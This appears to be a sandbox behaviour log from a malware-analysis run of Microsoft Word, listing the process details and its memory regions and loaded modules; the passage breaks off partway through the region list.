# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Jan 8 2019 16:19:15 # Log Creation Date: 11.02.2019 09:17:39.793 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe" page_root = "0x3bd43000" os_pid = "0x920" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 133 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 134 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 135 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 136 start_va = 0x40000 end_va = 0x43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 137 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 138 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 139 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 140 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 141 start_va = 0xf0000 end_va = 0xf6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 142 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 143 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 144 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 145 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 146 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 147 start_va = 0x150000 end_va = 0x152fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 148 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 149 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 150 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 151 start_va = 0x280000 end_va = 0x282fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 152 start_va = 0x290000 end_va = 0x292fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 153 start_va = 0x2a0000 end_va = 0x2a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 154 start_va = 0x2b0000 end_va = 0x2b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 155 start_va = 0x2c0000 end_va = 0x2c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 156 start_va = 0x2d0000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 157 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 158 start_va = 0x450000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 159 start_va = 0x590000 end_va = 0x590fff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 160 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 161 start_va = 0x5b0000 end_va = 0x5b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 162 start_va = 0x5c0000 end_va = 0x5cbfff entry_point = 0x5c0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 163 start_va = 0x5d0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 164 start_va = 0x5e0000 end_va = 0x767fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 165 start_va = 0x770000 end_va = 0x8f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 166 start_va = 0x900000 end_va = 0x1cfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 167 start_va = 0x1d00000 end_va = 0x1fcefff entry_point = 0x1d00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 168 start_va = 0x1fd0000 end_va = 0x23c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fd0000" filename = "" Region: id = 169 start_va = 0x23d0000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 170 start_va = 0x2540000 end_va = 0x25bffff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 171 start_va = 0x25c0000 end_va = 0x25c7fff entry_point = 0x25c0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 172 start_va = 0x25d0000 end_va = 0x25dffff entry_point = 0x25d0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 173 start_va = 0x25e0000 end_va = 0x25e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025e0000" filename = "" Region: id = 174 start_va = 0x25f0000 end_va = 0x25f4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025f0000" filename = "" Region: id = 175 start_va = 0x2600000 end_va = 0x2600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 176 start_va = 0x2610000 end_va = 0x2610fff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 177 start_va = 0x2620000 end_va = 0x262ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 178 start_va = 0x2630000 end_va = 0x282ffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 179 start_va = 0x2830000 end_va = 0x290efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002830000" filename = "" Region: id = 180 start_va = 0x2910000 end_va = 0x2910fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002910000" filename = "" Region: id = 181 start_va = 0x2920000 end_va = 0x2920fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002920000" filename = "" Region: id = 182 start_va = 0x2930000 end_va = 0x2930fff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 183 start_va = 0x2940000 end_va = 0x2941fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002940000" filename = "" Region: id = 184 start_va = 0x2950000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 185 start_va = 0x2960000 end_va = 0x2960fff entry_point = 0x2960000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 186 start_va = 0x2970000 end_va = 0x298ffff entry_point = 0x2970000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db") Region: id = 187 start_va = 0x2990000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 188 start_va = 0x2a90000 end_va = 0x2a90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a90000" filename = "" Region: id = 189 start_va = 0x2aa0000 end_va = 0x2aa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002aa0000" filename = "" Region: id = 190 start_va = 0x2ab0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ab0000" filename = "" Region: id = 191 start_va = 0x2ad0000 end_va = 0x2ad1fff entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 192 start_va = 0x2ae0000 end_va = 0x2ae0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 193 start_va = 0x2af0000 end_va = 0x2beffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 194 start_va = 0x2bf0000 end_va = 0x2caffff entry_point = 0x2bf0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 195 start_va = 0x2cb0000 end_va = 0x2cc0fff entry_point = 0x2cb0000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 196 start_va = 0x2cd0000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 197 start_va = 0x2f30000 end_va = 0x2faffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 198 start_va = 0x2fc0000 end_va = 0x2fcffff entry_point = 0x0 region_type = private name = "private_0x0000000002fc0000" filename = "" Region: id = 199 start_va = 0x3000000 end_va = 0x307ffff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 200 start_va = 0x3080000 end_va = 0x30fefff entry_point = 0x3080000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 201 start_va = 0x3110000 end_va = 0x311ffff entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 202 start_va = 0x3120000 end_va = 0x321ffff entry_point = 0x0 region_type = private name = "private_0x0000000003120000" filename = "" Region: id = 203 start_va = 0x3240000 end_va = 0x333ffff entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 204 start_va = 0x33b0000 end_va = 0x34affff entry_point = 0x0 region_type = private name = "private_0x00000000033b0000" filename = "" Region: id = 205 start_va = 0x34b0000 end_va = 0x38affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000034b0000" filename = "" Region: id = 206 start_va = 0x38f0000 end_va = 0x39effff entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 207 start_va = 0x39f0000 end_va = 0x3aeffff entry_point = 0x0 region_type = private name = "private_0x00000000039f0000" filename = "" Region: id = 208 start_va = 0x3b20000 end_va = 0x3b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b20000" filename = "" Region: id = 209 start_va = 0x3b30000 end_va = 0x3bdafff entry_point = 0x3b30000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 210 start_va = 0x3c00000 end_va = 0x3c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 211 start_va = 0x3c40000 end_va = 0x3cbffff entry_point = 0x0 region_type = private name = "private_0x0000000003c40000" filename = "" Region: id = 212 start_va = 0x3cc0000 end_va = 0x40bffff entry_point = 0x0 region_type = private name = "private_0x0000000003cc0000" filename = "" Region: id = 213 start_va = 0x41a0000 end_va = 0x429ffff entry_point = 0x0 region_type = private name = "private_0x00000000041a0000" filename = "" Region: id = 214 start_va = 0x42e0000 end_va = 0x43dffff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 215 start_va = 0x4440000 end_va = 0x453ffff entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 216 start_va = 0x4700000 end_va = 0x47fffff entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 217 start_va = 0x4800000 end_va = 0x4b42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004800000" filename = "" Region: id = 218 start_va = 0x4bc0000 end_va = 0x4cbffff entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 219 start_va = 0x4cf0000 end_va = 0x4d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 220 start_va = 0x4d90000 end_va = 0x4e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 221 start_va = 0x4e90000 end_va = 0x568ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e90000" filename = "" Region: id = 222 start_va = 0x5710000 end_va = 0x580ffff entry_point = 0x0 region_type = private name = "private_0x0000000005710000" filename = "" Region: id = 223 start_va = 0x5830000 end_va = 0x592ffff entry_point = 0x0 region_type = private name = "private_0x0000000005830000" filename = "" Region: id = 224 start_va = 0x5930000 end_va = 0x625ffff entry_point = 0x5930000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 225 start_va = 0x62e0000 end_va = 0x63dffff entry_point = 0x0 region_type = private name = "private_0x00000000062e0000" filename = "" Region: id = 226 start_va = 0x63e0000 end_va = 0x645ffff entry_point = 0x0 region_type = private name = "private_0x00000000063e0000" filename = "" Region: id = 227 start_va = 0x6460000 end_va = 0x655ffff entry_point = 0x0 region_type = private name = "private_0x0000000006460000" filename = "" Region: id = 228 start_va = 0x6600000 end_va = 0x66fffff entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 229 start_va = 0x67e0000 end_va = 0x68dffff entry_point = 0x0 region_type = private name = "private_0x00000000067e0000" filename = "" Region: id = 230 start_va = 0x69a0000 end_va = 0x6a9ffff entry_point = 0x0 region_type = private name = "private_0x00000000069a0000" filename = "" Region: id = 231 start_va = 0x6b60000 end_va = 0x6c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000006b60000" filename = "" Region: id = 232 start_va = 0x6c60000 end_va = 0x7c5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006c60000" filename = "" Region: id = 233 start_va = 0x7c60000 end_va = 0x845ffff entry_point = 0x0 region_type = private name = "private_0x0000000007c60000" filename = "" Region: id = 234 start_va = 0x8500000 end_va = 0x857ffff entry_point = 0x0 region_type = private name = "private_0x0000000008500000" filename = "" Region: id = 235 start_va = 0x85e0000 end_va = 0x865ffff entry_point = 0x0 region_type = private name = "private_0x00000000085e0000" filename = "" Region: id = 236 start_va = 0x8660000 end_va = 0x8a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000008660000" filename = "" Region: id = 237 start_va = 0x8a60000 end_va = 0x8e60fff entry_point = 0x0 region_type = private name = "private_0x0000000008a60000" filename = "" Region: id = 238 start_va = 0x8e70000 end_va = 0x9270fff entry_point = 0x0 region_type = private name = "private_0x0000000008e70000" filename = "" Region: id = 239 start_va = 0x9280000 end_va = 0x9680fff entry_point = 0x0 region_type = private name = "private_0x0000000009280000" filename = "" Region: id = 240 start_va = 0x9690000 end_va = 0x988ffff entry_point = 0x0 region_type = private name = "private_0x0000000009690000" filename = "" Region: id = 241 start_va = 0x9890000 end_va = 0xa890fff entry_point = 0x0 region_type = private name = "private_0x0000000009890000" filename = "" Region: id = 242 start_va = 0xa8a0000 end_va = 0xac9ffff entry_point = 0x0 region_type = private name = "private_0x000000000a8a0000" filename = "" Region: id = 243 start_va = 0x374f0000 end_va = 0x374fffff entry_point = 0x0 region_type = private name = "private_0x00000000374f0000" filename = "" Region: id = 244 start_va = 0x37620000 end_va = 0x3762ffff entry_point = 0x0 region_type = private name = "private_0x0000000037620000" filename = "" Region: id = 245 start_va = 0x75010000 end_va = 0x75042fff entry_point = 0x75010000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 246 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 247 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 248 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 249 start_va = 0x777a0000 end_va = 0x777a6fff entry_point = 0x777a0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 250 start_va = 0x777b0000 end_va = 0x777b2fff entry_point = 0x777b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 251 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 252 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 253 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 254 start_va = 0x13fc00000 end_va = 0x13fddbfff entry_point = 0x13fc00000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe") Region: id = 255 start_va = 0x7febd6d0000 end_va = 0x7febd6dffff entry_point = 0x0 region_type = private name = "private_0x000007febd6d0000" filename = "" Region: id = 256 start_va = 0x7febefc0000 end_va = 0x7febefcffff entry_point = 0x0 region_type = private name = "private_0x000007febefc0000" filename = "" Region: id = 257 start_va = 0x7fee4560000 end_va = 0x7fee47b4fff entry_point = 0x7fee4560000 region_type = mapped_file name = "ivy.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IVY.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ivy.dll") Region: id = 258 start_va = 0x7fee47c0000 end_va = 0x7fee5595fff entry_point = 0x7fee47c0000 region_type = mapped_file name = "chart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll") Region: id = 259 start_va = 0x7fee55a0000 end_va = 0x7fee5713fff entry_point = 0x7fee55a0000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll") Region: id = 260 start_va = 0x7fee5720000 end_va = 0x7fee5839fff entry_point = 0x7fee5720000 region_type = mapped_file name = "adal.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ADAL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\adal.dll") Region: id = 261 start_va = 0x7fee5840000 end_va = 0x7fee5adafff entry_point = 0x7fee5840000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll") Region: id = 262 start_va = 0x7fee5c80000 end_va = 0x7fee5d18fff entry_point = 0x7fee5c80000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 263 start_va = 0x7fee5d20000 end_va = 0x7fee5e9dfff entry_point = 0x7fee5d20000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 264 start_va = 0x7fee5ea0000 end_va = 0x7fee606ffff entry_point = 0x7fee5ea0000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 265 start_va = 0x7fee6070000 end_va = 0x7fee620cfff entry_point = 0x7fee6070000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 266 start_va = 0x7fee6210000 end_va = 0x7fee62cffff entry_point = 0x7fee6210000 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll") Region: id = 267 start_va = 0x7fee62d0000 end_va = 0x7feea6b6fff entry_point = 0x7fee62d0000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll") Region: id = 268 start_va = 0x7feea6c0000 end_va = 0x7feeb3b4fff entry_point = 0x7feea6c0000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll") Region: id = 269 start_va = 0x7feeb3c0000 end_va = 0x7feeb7fcfff entry_point = 0x7feeb3c0000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll") Region: id = 270 start_va = 0x7feeb800000 end_va = 0x7feeb8e1fff entry_point = 0x7feeb800000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 271 start_va = 0x7feeb8f0000 end_va = 0x7feed31bfff entry_point = 0x7feeb8f0000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 272 start_va = 0x7feed320000 end_va = 0x7feedfc6fff entry_point = 0x7feed320000 region_type = mapped_file name = "mso98win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso98win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso98win32client.dll") Region: id = 273 start_va = 0x7feedfd0000 end_va = 0x7feeea9efff entry_point = 0x7feedfd0000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 274 start_va = 0x7feeeaa0000 end_va = 0x7feef183fff entry_point = 0x7feeeaa0000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 275 start_va = 0x7feef190000 end_va = 0x7feef632fff entry_point = 0x7feef190000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 276 start_va = 0x7feef640000 end_va = 0x7fef05c4fff entry_point = 0x7feef640000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll") Region: id = 277 start_va = 0x7fef05d0000 end_va = 0x7fef2da8fff entry_point = 0x7fef05d0000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wwlib.dll") Region: id = 278 start_va = 0x7fef2ea0000 end_va = 0x7fef2f0efff entry_point = 0x7fef2ea0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 279 start_va = 0x7fef2f10000 end_va = 0x7fef2f9afff entry_point = 0x7fef2f10000 region_type = mapped_file name = "mso50win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso50win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso50win32client.dll") Region: id = 280 start_va = 0x7fef2fa0000 end_va = 0x7fef303bfff entry_point = 0x7fef2fa0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcp140.dll") Region: id = 281 start_va = 0x7fef3040000 end_va = 0x7fef3105fff entry_point = 0x7fef3040000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 282 start_va = 0x7fef3280000 end_va = 0x7fef3298fff entry_point = 0x7fef3280000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 283 start_va = 0x7fef46b0000 end_va = 0x7fef46cbfff entry_point = 0x7fef46b0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 284 start_va = 